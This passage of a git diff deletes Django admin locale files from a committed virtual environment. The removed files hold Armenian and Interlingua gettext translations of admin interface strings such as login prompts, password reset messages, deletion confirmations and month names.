օգտագործողի անունը և գաղտնաբառը․ Հետո դուք " -"հնարավորություն կունենաք խմբագրել ավելին։" - -msgid "Enter a username and password." -msgstr "Մուտքագրեք օգտագործողի անունը և գաղտնաբառը։" - -msgid "Change password" -msgstr "Փոխել գաղտնաբառը" - -msgid "Please correct the error below." -msgstr "Ուղղեք ստորև նշված սխալը։" - -msgid "Please correct the errors below." -msgstr "Ուղղեք ստորև նշված սխալները․" - -#, python-format -msgid "Enter a new password for the user %(username)s." -msgstr "" -"Մուտքագրեք նոր գաղտնաբառ %(username)s օգտագործողի համար։" - -msgid "Welcome," -msgstr "Բարի գալուստ, " - -msgid "View site" -msgstr "Դիտել կայքը" - -msgid "Documentation" -msgstr "Դոկումենտացիա" - -msgid "Log out" -msgstr "Դուրս գալ" - -#, python-format -msgid "Add %(name)s" -msgstr "Ավելացնել %(name)s" - -msgid "History" -msgstr "Պատմություն" - -msgid "View on site" -msgstr "Դիտել կայքում" - -msgid "Filter" -msgstr "Ֆիլտրել" - -msgid "Remove from sorting" -msgstr "Հեռացնել դասակարգումից" - -#, python-format -msgid "Sorting priority: %(priority_number)s" -msgstr "Դասակարգման առաջնություն՝ %(priority_number)s" - -msgid "Toggle sorting" -msgstr "Toggle sorting" - -msgid "Delete" -msgstr "Հեռացնել" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would result in deleting " -"related objects, but your account doesn't have permission to delete the " -"following types of objects:" -msgstr "" -"%(object_name)s '%(escaped_object)s'֊ի հեռացումը կարող է հանգեցնել նրա հետ " -"կապված օբյեկտների հեռացմանը, բայց դուք չունեք իրավունք հեռացնել այդ տիպի " -"օբյեկտներ․" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would require deleting the " -"following protected related objects:" -msgstr "" -"%(object_name)s '%(escaped_object)s'֊ը հեռացնելու համար կարող է անհրաժեշտ " -"լինել հեռացնել նրա հետ կապված պաշտպանված օբյեկտները։" - -#, python-format -msgid "" -"Are you sure you want to delete the %(object_name)s \"%(escaped_object)s\"? " -"All of the following related items will be deleted:" -msgstr "" -"Համոզված ե՞ք, որ ուզում եք հեռացնել %(object_name)s \"%(escaped_object)s\"֊" -"ը։ նրա հետ կապված այս բոլոր օբյեկտները կհեռացվեն․" - -msgid "Objects" -msgstr "Օբյեկտներ" - -msgid "Yes, I'm sure" -msgstr "Այո, ես համոզված եմ" - -msgid "No, take me back" -msgstr "Ոչ, տարեք ենձ ետ" - -msgid "Delete multiple objects" -msgstr "Հեռացնել մի քանի օբյեկտ" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would result in deleting related " -"objects, but your account doesn't have permission to delete the following " -"types of objects:" -msgstr "" -"%(objects_name)s֊ների հեռացումը կարող է հանգեցնել նրա հետ կապված օբյեկտների " -"հեռացմանը, բայց դուք չունեք իրավունք հեռացնել այդ տիպի օբյեկտներ․" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would require deleting the following " -"protected related objects:" -msgstr "" -"%(objects_name)s֊ը հեռացնելու համար կարող է անհրաժեշտ լինել հեռացնել նրա հետ " -"կապված պաշտպանված օբյեկտները։" - -#, python-format -msgid "" -"Are you sure you want to delete the selected %(objects_name)s? All of the " -"following objects and their related items will be deleted:" -msgstr "" -"Համոզված ե՞ք, որ ուզում եք հեռացնել նշված %(objects_name)s֊ները։ Այս բոլոր " -"օբյեկտները, ինչպես նաև նրանց հետ կապված օբյեկտները կհեռացվեն․" - -msgid "View" -msgstr "" - -msgid "Delete?" -msgstr "Հեռացնե՞լ" - -#, python-format -msgid " By %(filter_title)s " -msgstr "%(filter_title)s " - -msgid "Summary" -msgstr "Ամփոփում" - -#, python-format -msgid "Models in the %(name)s application" -msgstr " %(name)s հավելվածի մոդել" - -msgid "Add" -msgstr "Ավելացնել" - -msgid "You don't have permission to view or edit anything." -msgstr "" - -msgid "Recent actions" -msgstr "" - -msgid "My actions" -msgstr "" - -msgid "None available" -msgstr "Ոչինք չկա" - -msgid "Unknown content" -msgstr "Անհայտ կոնտենտ" - -msgid "" -"Something's wrong with your database installation. Make sure the appropriate " -"database tables have been created, and make sure the database is readable by " -"the appropriate user." -msgstr "" -"Ինչ֊որ բան այն չէ ձեր տվյալների բազայի հետ։ Համոզվեք, որ համապատասխան " -"աղյուսակները ստեղծվել են և համոզվեք, որ համապատասխան օգտագործողը կարող է " -"կարդալ բազան։" - -#, python-format -msgid "" -"You are authenticated as %(username)s, but are not authorized to access this " -"page. Would you like to login to a different account?" -msgstr "" -"Դուք մուտք եք գործել որպես %(username)s, բայց իրավունք չունեք դիտելու այս " -"էջը։ Ցանկանում ե՞ք մուտք գործել որպես այլ օգտագործող" - -msgid "Forgotten your password or username?" -msgstr "Մոռացել ե՞ք օգտագործողի անունը կամ գաղտնաբառը" - -msgid "Date/time" -msgstr "Ամսաթիվ/Ժամանակ" - -msgid "User" -msgstr "Օգտագործող" - -msgid "Action" -msgstr "Գործողություն" - -msgid "" -"This object doesn't have a change history. It probably wasn't added via this " -"admin site." -msgstr "" -"Այս օբյեկտը չունի փոփոխման պատմություն։ Այն հավանաբար ավելացված չէ " -"ադմինիստրավորման էջից։" - -msgid "Show all" -msgstr "Ցույց տալ բոլորը" - -msgid "Save" -msgstr "Պահպանել" - -msgid "Popup closing..." -msgstr "Ելնող պատուհանը փակվում է" - -#, python-format -msgid "Change selected %(model)s" -msgstr "Փոփոխել ընտրված %(model)s տիպի օբյեկտը" - -#, python-format -msgid "View selected %(model)s" -msgstr "" - -#, python-format -msgid "Add another %(model)s" -msgstr "Ավելացնել այլ %(model)s տիպի օբյեկտ" - -#, python-format -msgid "Delete selected %(model)s" -msgstr "Հեռացնել ընտրված %(model)s տիպի օբյեկտը" - -msgid "Search" -msgstr "Փնտրել" - -#, python-format -msgid "%(counter)s result" -msgid_plural "%(counter)s results" -msgstr[0] "%(counter)s արդյունք" -msgstr[1] "%(counter)s արդյունքներ" - -#, python-format -msgid "%(full_result_count)s total" -msgstr "%(full_result_count)s ընդհանուր" - -msgid "Save as new" -msgstr "Պահպանել որպես նոր" - -msgid "Save and add another" -msgstr "Պահպանել և ավելացնել նորը" - -msgid "Save and continue editing" -msgstr "Պահպանել և շարունակել խմբագրել" - -msgid "Save and view" -msgstr "" - -msgid "Close" -msgstr "" - -msgid "Thanks for spending some quality time with the Web site today." -msgstr "Շնորհակալություն մեր կայքում ինչ֊որ ժամանակ ծախսելու համար։" - -msgid "Log in again" -msgstr "Մուտք գործել նորից" - -msgid "Password change" -msgstr "Փոխել գաղտնաբառը" - -msgid "Your password was changed." -msgstr "Ձեր գաղտնաբառը փոխվել է" - -msgid "" -"Please enter your old password, for security's sake, and then enter your new " -"password twice so we can verify you typed it in correctly." -msgstr "" -"Մուտքագրեք ձեր հին գաղտնաբառը։ Անվտանգության նկատառումներով մուտքագրեք ձեր " -"նոր գաղտնաբառը երկու անգամ, որպեսզի մենք համոզված լինենք, որ այն ճիշտ է " -"հավաքված։" - -msgid "Change my password" -msgstr "Փոխել իմ գաղտնաբառը" - -msgid "Password reset" -msgstr "Գաղտնաբառի փոփոխում" - -msgid "Your password has been set. You may go ahead and log in now." -msgstr "Ձեր գաղտնաբառը պահպանված է․ Կարող եք մուտք գործել։" - -msgid "Password reset confirmation" -msgstr "Գաղտնաբառի փոփոխման հաստատում" - -msgid "" -"Please enter your new password twice so we can verify you typed it in " -"correctly." -msgstr "" -"Մուտքագրեք ձեր նոր գաղտնաբառը երկու անգամ, որպեսզի մենք համոզված լինենք, որ " -"այն ճիշտ է հավաքված։" - -msgid "New password:" -msgstr "Նոր գաղտնաբառ․" - -msgid "Confirm password:" -msgstr "Նոր գաղտնաբառը նորից․" - -msgid "" -"The password reset link was invalid, possibly because it has already been " -"used. Please request a new password reset." -msgstr "" -"Գաղտնաբառի փոփոխման հղում է սխալ է, հավանաբար այն արդեն օգտագործվել է․ Դուք " -"կարող եք ստանալ նոր հղում։" - -msgid "" -"We've emailed you instructions for setting your password, if an account " -"exists with the email you entered. You should receive them shortly." -msgstr "" -"Մենք ուղարկեցինք ձեր էլեկտրոնային փոստի հասցեին գաղտնաբառը փոփոխելու " -"հրահանգներ․ Դուք շուտով կստանաք դրանք։" - -msgid "" -"If you don't receive an email, please make sure you've entered the address " -"you registered with, and check your spam folder." -msgstr "" -"Եթե դուք չեք ստացել էլեկտրոնային նամակ, համոզվեք, որ հավաքել եք այն հասցեն, " -"որով գրանցվել եք և ստուգեք ձեր սպամի թղթապանակը։" - -#, python-format -msgid "" -"You're receiving this email because you requested a password reset for your " -"user account at %(site_name)s." -msgstr "" -"Դուք ստացել եք այս նամակը, քանի որ ցանկացել եք փոխել ձեր գաղտնաբառը " -"%(site_name)s կայքում։" - -msgid "Please go to the following page and choose a new password:" -msgstr "Բացեք հետևյալ էջը և ընտրեք նոր գաղտնաբառ։" - -msgid "Your username, in case you've forgotten:" -msgstr "Եթե դուք մոռացել եք ձեր օգտագործողի անունը․" - -msgid "Thanks for using our site!" -msgstr "Շնորհակալություն մեր կայքից օգտվելու համար։" - -#, python-format -msgid "The %(site_name)s team" -msgstr "%(site_name)s կայքի թիմ" - -msgid "" -"Forgotten your password? Enter your email address below, and we'll email " -"instructions for setting a new one." -msgstr "" -"Մոռացել ե՞ք ձեր գաղտնաբառը Մուտքագրեք ձեր էլեկտրոնային փոստի հասցեն և մենք " -"կուղարկենք ձեզ հրահանգներ նորը ստանալու համար։" - -msgid "Email address:" -msgstr "Email հասցե․" - -msgid "Reset my password" -msgstr "Փոխել գաղտնաբառը" - -msgid "All dates" -msgstr "Բոլոր ամսաթվերը" - -#, python-format -msgid "Select %s" -msgstr "Ընտրեք %s" - -#, python-format -msgid "Select %s to change" -msgstr "Ընտրեք %s փոխելու համար" - -#, python-format -msgid "Select %s to view" -msgstr "" - -msgid "Date:" -msgstr "Ամսաթիվ․" - -msgid "Time:" -msgstr "Ժամանակ․" - -msgid "Lookup" -msgstr "Որոնում" - -msgid "Currently:" -msgstr "Հիմա․" - -msgid "Change:" -msgstr "Փոփոխել" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/hy/LC_MESSAGES/djangojs.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/hy/LC_MESSAGES/djangojs.mo deleted file mode 100644 index b9a8fa2c..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/hy/LC_MESSAGES/djangojs.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/hy/LC_MESSAGES/djangojs.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/hy/LC_MESSAGES/djangojs.po deleted file mode 100644 index e209f542..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/hy/LC_MESSAGES/djangojs.po +++ /dev/null @@ -1,219 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Ruben Harutyunov , 2018 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2018-05-17 11:50+0200\n" -"PO-Revision-Date: 2019-01-15 10:40+0100\n" -"Last-Translator: Ruben Harutyunov \n" -"Language-Team: Armenian (http://www.transifex.com/django/django/language/" -"hy/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: hy\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -#, javascript-format -msgid "Available %s" -msgstr "Հասանելի %s" - -#, javascript-format -msgid "" -"This is the list of available %s. You may choose some by selecting them in " -"the box below and then clicking the \"Choose\" arrow between the two boxes." -msgstr "" -"Սա հասանելի %s ցուցակ է։ Դուք կարող եք ընտրել նրանցից որոշները ընտրելով " -"դրանք ստորև գտնվող վանդակում և սեղմելով երկու վանդակների միջև գտնվող \"Ընտրել" -"\" սլաքը։" - -#, javascript-format -msgid "Type into this box to filter down the list of available %s." -msgstr "Մուտքագրեք այս դաշտում հասանելի %s ցուցակը ֆիլտրելու համար։" - -msgid "Filter" -msgstr "Ֆիլտրել" - -msgid "Choose all" -msgstr "Ընտրել բոլորը" - -#, javascript-format -msgid "Click to choose all %s at once." -msgstr "Սեղմեք բոլոր %sը ընտրելու համար։" - -msgid "Choose" -msgstr "Ընտրել" - -msgid "Remove" -msgstr "Հեռացնել" - -#, javascript-format -msgid "Chosen %s" -msgstr "Ընտրված %s" - -#, javascript-format -msgid "" -"This is the list of chosen %s. You may remove some by selecting them in the " -"box below and then clicking the \"Remove\" arrow between the two boxes." -msgstr "" -"Սա հասանելի %sի ցուցակ է։ Դուք կարող եք հեռացնել նրանցից որոշները ընտրելով " -"դրանք ստորև գտնվող վանդակում և սեղմելով երկու վանդակների միջև գտնվող " -"\"Հեռացնել\" սլաքը։" - -msgid "Remove all" -msgstr "Հեռացնել բոլորը" - -#, javascript-format -msgid "Click to remove all chosen %s at once." -msgstr "Սեղմեք բոլոր %sը հեռացնելու համար։" - -msgid "%(sel)s of %(cnt)s selected" -msgid_plural "%(sel)s of %(cnt)s selected" -msgstr[0] "Ընտրված է %(cnt)s-ից %(sel)s-ը" -msgstr[1] "Ընտրված է %(cnt)s-ից %(sel)s-ը" - -msgid "" -"You have unsaved changes on individual editable fields. If you run an " -"action, your unsaved changes will be lost." -msgstr "" -"Դուք ունեք չպահպանված անհատական խմբագրելի դաշտեր։ Եթե դուք կատարեք " -"գործողությունը, ձեր չպահպանված փոփոխությունները կկորեն։" - -msgid "" -"You have selected an action, but you haven't saved your changes to " -"individual fields yet. Please click OK to save. You'll need to re-run the " -"action." -msgstr "" -"Դուք ընտրել եք գործողություն, բայց դեռ չեք պահպանել անհատական խմբագրելի " -"դաշտերի փոփոխությունները Սեղմեք OK պահպանելու համար։ Անհրաժեշտ կլինի " -"վերագործարկել գործողությունը" - -msgid "" -"You have selected an action, and you haven't made any changes on individual " -"fields. You're probably looking for the Go button rather than the Save " -"button." -msgstr "" -"Դուք ընտրել եք գործողություն, բայց դեռ չեք կատարել որևէ անհատական խմբագրելի " -"դաշտերի փոփոխություն Ձեզ հավանաբար պետք է Կատարել կոճակը, Պահպանել կոճակի " -"փոխարեն" - -msgid "Now" -msgstr "Հիմա" - -msgid "Midnight" -msgstr "Կեսգիշեր" - -msgid "6 a.m." -msgstr "6 a.m." - -msgid "Noon" -msgstr "Կեսօր" - -msgid "6 p.m." -msgstr "6 p.m." - -#, javascript-format -msgid "Note: You are %s hour ahead of server time." -msgid_plural "Note: You are %s hours ahead of server time." -msgstr[0] "Ձեր ժամը առաջ է սերվերի ժամանակից %s ժամով" -msgstr[1] "Ձեր ժամը առաջ է սերվերի ժամանակից %s ժամով" - -#, javascript-format -msgid "Note: You are %s hour behind server time." -msgid_plural "Note: You are %s hours behind server time." -msgstr[0] "Ձեր ժամը հետ է սերվերի ժամանակից %s ժամով" -msgstr[1] "Ձեր ժամը հետ է սերվերի ժամանակից %s ժամով" - -msgid "Choose a Time" -msgstr "Ընտրեք ժամանակ" - -msgid "Choose a time" -msgstr "Ընտրեք ժամանակ" - -msgid "Cancel" -msgstr "Չեղարկել" - -msgid "Today" -msgstr "Այսօր" - -msgid "Choose a Date" -msgstr "Ընտրեք ամսաթիվ" - -msgid "Yesterday" -msgstr "Երեկ" - -msgid "Tomorrow" -msgstr "Վաղը" - -msgid "January" -msgstr "Հունվար" - -msgid "February" -msgstr "Փետրվար" - -msgid "March" -msgstr "Մարտ" - -msgid "April" -msgstr "Ապրիլ" - -msgid "May" -msgstr "Մայիս" - -msgid "June" -msgstr "Հունիս" - -msgid "July" -msgstr "Հուլիս" - -msgid "August" -msgstr "Օգոստոս" - -msgid "September" -msgstr "Սեպտեմբեր" - -msgid "October" -msgstr "Հոկտեմբեր" - -msgid "November" -msgstr "Նոյեմբեր" - -msgid "December" -msgstr "Դեկտեմբեր" - -msgctxt "one letter Sunday" -msgid "S" -msgstr "Կ" - -msgctxt "one letter Monday" -msgid "M" -msgstr "Ե" - -msgctxt "one letter Tuesday" -msgid "T" -msgstr "Ե" - -msgctxt "one letter Wednesday" -msgid "W" -msgstr "Չ" - -msgctxt "one letter Thursday" -msgid "T" -msgstr "Հ" - -msgctxt "one letter Friday" -msgid "F" -msgstr "ՈՒ" - -msgctxt "one letter Saturday" -msgid "S" -msgstr "Շ" - -msgid "Show" -msgstr "Ցույց տալ" - -msgid "Hide" -msgstr "Թաքցնել" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ia/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/ia/LC_MESSAGES/django.mo deleted file mode 100644 index 06ddd422..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ia/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ia/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/ia/LC_MESSAGES/django.po deleted file mode 100644 index f7986c9b..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ia/LC_MESSAGES/django.po +++ /dev/null @@ -1,664 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Martijn Dekker , 2012 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2017-01-19 16:49+0100\n" -"PO-Revision-Date: 2017-09-19 16:41+0000\n" -"Last-Translator: Jannis Leidel \n" -"Language-Team: Interlingua (http://www.transifex.com/django/django/language/" -"ia/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: ia\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -#, python-format -msgid "Successfully deleted %(count)d %(items)s." -msgstr "%(count)d %(items)s delite con successo." - -#, python-format -msgid "Cannot delete %(name)s" -msgstr "Non pote deler %(name)s" - -msgid "Are you sure?" -msgstr "Es tu secur?" - -#, python-format -msgid "Delete selected %(verbose_name_plural)s" -msgstr "Deler le %(verbose_name_plural)s seligite" - -msgid "Administration" -msgstr "" - -msgid "All" -msgstr "Totes" - -msgid "Yes" -msgstr "Si" - -msgid "No" -msgstr "No" - -msgid "Unknown" -msgstr "Incognite" - -msgid "Any date" -msgstr "Omne data" - -msgid "Today" -msgstr "Hodie" - -msgid "Past 7 days" -msgstr "Ultime 7 dies" - -msgid "This month" -msgstr "Iste mense" - -msgid "This year" -msgstr "Iste anno" - -msgid "No date" -msgstr "" - -msgid "Has date" -msgstr "" - -#, python-format -msgid "" -"Please enter the correct %(username)s and password for a staff account. Note " -"that both fields may be case-sensitive." -msgstr "" - -msgid "Action:" -msgstr "Action:" - -#, python-format -msgid "Add another %(verbose_name)s" -msgstr "Adder un altere %(verbose_name)s" - -msgid "Remove" -msgstr "Remover" - -msgid "action time" -msgstr "hora de action" - -msgid "user" -msgstr "" - -msgid "content type" -msgstr "" - -msgid "object id" -msgstr "id de objecto" - -#. Translators: 'repr' means representation -#. (https://docs.python.org/3/library/functions.html#repr) -msgid "object repr" -msgstr "repr de objecto" - -msgid "action flag" -msgstr "marca de action" - -msgid "change message" -msgstr "message de cambio" - -msgid "log entry" -msgstr "entrata de registro" - -msgid "log entries" -msgstr "entratas de registro" - -#, python-format -msgid "Added \"%(object)s\"." -msgstr "\"%(object)s\" addite." - -#, python-format -msgid "Changed \"%(object)s\" - %(changes)s" -msgstr "\"%(object)s\" cambiate - %(changes)s" - -#, python-format -msgid "Deleted \"%(object)s.\"" -msgstr "\"%(object)s\" delite." - -msgid "LogEntry Object" -msgstr "Objecto LogEntry" - -#, python-brace-format -msgid "Added {name} \"{object}\"." -msgstr "" - -msgid "Added." -msgstr "" - -msgid "and" -msgstr "e" - -#, python-brace-format -msgid "Changed {fields} for {name} \"{object}\"." -msgstr "" - -#, python-brace-format -msgid "Changed {fields}." -msgstr "" - -#, python-brace-format -msgid "Deleted {name} \"{object}\"." -msgstr "" - -msgid "No fields changed." -msgstr "Nulle campo cambiate." - -msgid "None" -msgstr "Nulle" - -msgid "" -"Hold down \"Control\", or \"Command\" on a Mac, to select more than one." -msgstr "" - -#, python-brace-format -msgid "" -"The {name} \"{obj}\" was added successfully. You may edit it again below." -msgstr "" - -#, python-brace-format -msgid "" -"The {name} \"{obj}\" was added successfully. You may add another {name} " -"below." -msgstr "" - -#, python-brace-format -msgid "The {name} \"{obj}\" was added successfully." -msgstr "" - -#, python-brace-format -msgid "" -"The {name} \"{obj}\" was changed successfully. You may edit it again below." -msgstr "" - -#, python-brace-format -msgid "" -"The {name} \"{obj}\" was changed successfully. You may add another {name} " -"below." -msgstr "" - -#, python-brace-format -msgid "The {name} \"{obj}\" was changed successfully." -msgstr "" - -msgid "" -"Items must be selected in order to perform actions on them. No items have " -"been changed." -msgstr "" -"Es necessari seliger elementos pro poter exequer actiones. Nulle elemento ha " -"essite cambiate." - -msgid "No action selected." -msgstr "Nulle action seligite." - -#, python-format -msgid "The %(name)s \"%(obj)s\" was deleted successfully." -msgstr "Le %(name)s \"%(obj)s\" ha essite delite con successo." - -#, python-format -msgid "%(name)s with ID \"%(key)s\" doesn't exist. Perhaps it was deleted?" -msgstr "" - -#, python-format -msgid "Add %s" -msgstr "Adder %s" - -#, python-format -msgid "Change %s" -msgstr "Cambiar %s" - -msgid "Database error" -msgstr "Error in le base de datos" - -#, python-format -msgid "%(count)s %(name)s was changed successfully." -msgid_plural "%(count)s %(name)s were changed successfully." -msgstr[0] "%(count)s %(name)s cambiate con successo." -msgstr[1] "%(count)s %(name)s cambiate con successo." - -#, python-format -msgid "%(total_count)s selected" -msgid_plural "All %(total_count)s selected" -msgstr[0] "%(total_count)s seligite" -msgstr[1] "Tote le %(total_count)s seligite" - -#, python-format -msgid "0 of %(cnt)s selected" -msgstr "0 de %(cnt)s seligite" - -#, python-format -msgid "Change history: %s" -msgstr "Historia de cambiamentos: %s" - -#. Translators: Model verbose name and instance representation, -#. suitable to be an item in a list. -#, python-format -msgid "%(class_name)s %(instance)s" -msgstr "" - -#, python-format -msgid "" -"Deleting %(class_name)s %(instance)s would require deleting the following " -"protected related objects: %(related_objects)s" -msgstr "" - -msgid "Django site admin" -msgstr "Administration del sito Django" - -msgid "Django administration" -msgstr "Administration de Django" - -msgid "Site administration" -msgstr "Administration del sito" - -msgid "Log in" -msgstr "Aperir session" - -#, python-format -msgid "%(app)s administration" -msgstr "" - -msgid "Page not found" -msgstr "Pagina non trovate" - -msgid "We're sorry, but the requested page could not be found." -msgstr "Regrettabilemente, le pagina requestate non poteva esser trovate." - -msgid "Home" -msgstr "Initio" - -msgid "Server error" -msgstr "Error del servitor" - -msgid "Server error (500)" -msgstr "Error del servitor (500)" - -msgid "Server Error (500)" -msgstr "Error del servitor (500)" - -msgid "" -"There's been an error. It's been reported to the site administrators via " -"email and should be fixed shortly. Thanks for your patience." -msgstr "" - -msgid "Run the selected action" -msgstr "Exequer le action seligite" - -msgid "Go" -msgstr "Va" - -msgid "Click here to select the objects across all pages" -msgstr "Clicca hic pro seliger le objectos in tote le paginas" - -#, python-format -msgid "Select all %(total_count)s %(module_name)s" -msgstr "Seliger tote le %(total_count)s %(module_name)s" - -msgid "Clear selection" -msgstr "Rader selection" - -msgid "" -"First, enter a username and password. Then, you'll be able to edit more user " -"options." -msgstr "" -"Primo, specifica un nomine de usator e un contrasigno. Postea, tu potera " -"modificar plus optiones de usator." - -msgid "Enter a username and password." -msgstr "Specifica un nomine de usator e un contrasigno." - -msgid "Change password" -msgstr "Cambiar contrasigno" - -msgid "Please correct the error below." -msgstr "Per favor corrige le errores sequente." - -msgid "Please correct the errors below." -msgstr "" - -#, python-format -msgid "Enter a new password for the user %(username)s." -msgstr "" -"Specifica un nove contrasigno pro le usator %(username)s." - -msgid "Welcome," -msgstr "Benvenite," - -msgid "View site" -msgstr "" - -msgid "Documentation" -msgstr "Documentation" - -msgid "Log out" -msgstr "Clauder session" - -#, python-format -msgid "Add %(name)s" -msgstr "Adder %(name)s" - -msgid "History" -msgstr "Historia" - -msgid "View on site" -msgstr "Vider in sito" - -msgid "Filter" -msgstr "Filtro" - -msgid "Remove from sorting" -msgstr "Remover del ordination" - -#, python-format -msgid "Sorting priority: %(priority_number)s" -msgstr "Prioritate de ordination: %(priority_number)s" - -msgid "Toggle sorting" -msgstr "Alternar le ordination" - -msgid "Delete" -msgstr "Deler" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would result in deleting " -"related objects, but your account doesn't have permission to delete the " -"following types of objects:" -msgstr "" -"Deler le %(object_name)s '%(escaped_object)s' resultarea in le deletion de " -"objectos associate, me tu conto non ha le permission de deler objectos del " -"sequente typos:" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would require deleting the " -"following protected related objects:" -msgstr "" -"Deler le %(object_name)s '%(escaped_object)s' necessitarea le deletion del " -"sequente objectos associate protegite:" - -#, python-format -msgid "" -"Are you sure you want to delete the %(object_name)s \"%(escaped_object)s\"? " -"All of the following related items will be deleted:" -msgstr "" -"Es tu secur de voler deler le %(object_name)s \"%(escaped_object)s\"? Tote " -"le sequente objectos associate essera delite:" - -msgid "Objects" -msgstr "" - -msgid "Yes, I'm sure" -msgstr "Si, io es secur" - -msgid "No, take me back" -msgstr "" - -msgid "Delete multiple objects" -msgstr "Deler plure objectos" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would result in deleting related " -"objects, but your account doesn't have permission to delete the following " -"types of objects:" -msgstr "" -"Deler le %(objects_name)s seligite resultarea in le deletion de objectos " -"associate, ma tu conto non ha le permission de deler objectos del sequente " -"typos:" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would require deleting the following " -"protected related objects:" -msgstr "" -"Deler le %(objects_name)s seligite necessitarea le deletion del sequente " -"objectos associate protegite:" - -#, python-format -msgid "" -"Are you sure you want to delete the selected %(objects_name)s? All of the " -"following objects and their related items will be deleted:" -msgstr "" -"Es tu secur de voler deler le %(objects_name)s seligite? Tote le sequente " -"objectos e le objectos associate a illo essera delite:" - -msgid "Change" -msgstr "Cambiar" - -msgid "Delete?" -msgstr "Deler?" - -#, python-format -msgid " By %(filter_title)s " -msgstr " Per %(filter_title)s " - -msgid "Summary" -msgstr "" - -#, python-format -msgid "Models in the %(name)s application" -msgstr "" - -msgid "Add" -msgstr "Adder" - -msgid "You don't have permission to edit anything." -msgstr "Tu non ha le permission de modificar alcun cosa." - -msgid "Recent actions" -msgstr "" - -msgid "My actions" -msgstr "" - -msgid "None available" -msgstr "Nihil disponibile" - -msgid "Unknown content" -msgstr "Contento incognite" - -msgid "" -"Something's wrong with your database installation. Make sure the appropriate " -"database tables have been created, and make sure the database is readable by " -"the appropriate user." -msgstr "" -"Il ha un problema con le installation del base de datos. Assecura te que le " -"tabellas correcte ha essite create, e que le base de datos es legibile pro " -"le usator appropriate." - -#, python-format -msgid "" -"You are authenticated as %(username)s, but are not authorized to access this " -"page. Would you like to login to a different account?" -msgstr "" - -msgid "Forgotten your password or username?" -msgstr "Contrasigno o nomine de usator oblidate?" - -msgid "Date/time" -msgstr "Data/hora" - -msgid "User" -msgstr "Usator" - -msgid "Action" -msgstr "Action" - -msgid "" -"This object doesn't have a change history. It probably wasn't added via this " -"admin site." -msgstr "" -"Iste objecto non ha un historia de cambiamentos. Illo probabilemente non " -"esseva addite per medio de iste sito administrative." - -msgid "Show all" -msgstr "Monstrar toto" - -msgid "Save" -msgstr "Salveguardar" - -msgid "Popup closing..." -msgstr "" - -#, python-format -msgid "Change selected %(model)s" -msgstr "" - -#, python-format -msgid "Add another %(model)s" -msgstr "" - -#, python-format -msgid "Delete selected %(model)s" -msgstr "" - -msgid "Search" -msgstr "Cercar" - -#, python-format -msgid "%(counter)s result" -msgid_plural "%(counter)s results" -msgstr[0] "%(counter)s resultato" -msgstr[1] "%(counter)s resultatos" - -#, python-format -msgid "%(full_result_count)s total" -msgstr "%(full_result_count)s in total" - -msgid "Save as new" -msgstr "Salveguardar como nove" - -msgid "Save and add another" -msgstr "Salveguardar e adder un altere" - -msgid "Save and continue editing" -msgstr "Salveguardar e continuar le modification" - -msgid "Thanks for spending some quality time with the Web site today." -msgstr "Gratias pro haber passate un tempore agradabile con iste sito web." - -msgid "Log in again" -msgstr "Aperir session de novo" - -msgid "Password change" -msgstr "Cambio de contrasigno" - -msgid "Your password was changed." -msgstr "Tu contrasigno ha essite cambiate." - -msgid "" -"Please enter your old password, for security's sake, and then enter your new " -"password twice so we can verify you typed it in correctly." -msgstr "" -"Per favor specifica tu ancian contrasigno, pro securitate, e postea " -"specifica tu nove contrasigno duo vices pro verificar que illo es scribite " -"correctemente." - -msgid "Change my password" -msgstr "Cambiar mi contrasigno" - -msgid "Password reset" -msgstr "Reinitialisar contrasigno" - -msgid "Your password has been set. You may go ahead and log in now." -msgstr "Tu contrasigno ha essite reinitialisate. Ora tu pote aperir session." - -msgid "Password reset confirmation" -msgstr "Confirmation de reinitialisation de contrasigno" - -msgid "" -"Please enter your new password twice so we can verify you typed it in " -"correctly." -msgstr "" -"Per favor scribe le nove contrasigno duo vices pro verificar que illo es " -"scribite correctemente." - -msgid "New password:" -msgstr "Nove contrasigno:" - -msgid "Confirm password:" -msgstr "Confirma contrasigno:" - -msgid "" -"The password reset link was invalid, possibly because it has already been " -"used. Please request a new password reset." -msgstr "" -"Le ligamine pro le reinitialisation del contrasigno esseva invalide, forsan " -"perque illo ha jam essite usate. Per favor submitte un nove demanda de " -"reinitialisation del contrasigno." - -msgid "" -"We've emailed you instructions for setting your password, if an account " -"exists with the email you entered. You should receive them shortly." -msgstr "" - -msgid "" -"If you don't receive an email, please make sure you've entered the address " -"you registered with, and check 